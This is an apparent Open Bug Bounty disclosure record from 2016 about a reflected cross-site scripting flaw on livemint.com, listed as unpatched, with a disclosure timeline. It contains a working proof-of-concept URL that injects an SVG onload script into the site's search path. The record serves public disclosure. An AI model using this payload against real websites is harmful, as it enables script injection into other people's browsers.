livemint.com XSS vulnerability

2016-03-27T16:45:00
ID OBB:143636
Type openbugbounty
Reporter Yadnyawalkya_Tale
Modified 2016-05-29T17:12:00

Description

Vulnerable URL:
http://www.livemint.com/Search/Link/Keyword/%22%3E%3Ch1%3E%3Csvg/onload=prompt(/XSSPOSED/)%3E//XSSPOSED%3Ch2%3E#XSS%3C/h2%3E
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 26.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 4116
Google Pagerank| 6
VIP website status:| Yes
Check livemint.com SSL connection:| (Grade: A-)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 27 March, 2016 16:45 GMT
Generic security notifications sent to website owner| 27 March, 2016 16:47 GMT
Customized security notification sent to website owner| 27 March, 2016 16:47 GMT
Notification sent to subscribers (without technical details)| 27 March, 2016 18:17 GMT
Vulnerability details disclosed by researcher| 29 May, 2016 17:12 GMT